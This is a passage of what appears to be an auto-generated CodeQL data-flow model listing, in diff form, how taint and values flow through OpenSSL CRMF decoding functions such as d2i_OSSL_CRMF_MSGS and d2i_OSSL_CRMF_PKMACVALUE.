"(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PBMPARAMETER", "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKIPUBLICATIONINFO", "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", 